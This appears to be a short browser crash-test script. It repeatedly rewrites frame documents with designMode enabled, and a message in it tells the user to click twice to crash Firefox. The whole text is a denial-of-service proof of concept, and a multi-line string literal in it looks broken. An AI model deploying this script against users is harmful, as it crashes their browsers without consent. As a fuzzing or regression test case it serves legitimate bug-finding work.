var doc = document;
if (document.getElementById('content'))
doc = document.getElementById('content').contentDocument;
function replacedoc(i) {
var x=doc.defaultView.frames;
if (i>=x.length)
i=0;
i++;
var content="
Crash Test 00Click twice on the image above to crash your Firefox
";
try{
x[i].document.designMode='on';
}
catch(e) {}
x[i].document.open();
x[i].document.replaceChild(x[i].document.importNode((new DOMParser).parseFromString(doc.documentElement.innerHTML, 'text/html').documentElement, true), x[i].document.documentElement);
x[i].document.close();
setTimeout(replacedoc, 500, i);
}
setTimeout(replacedoc, 500, 0);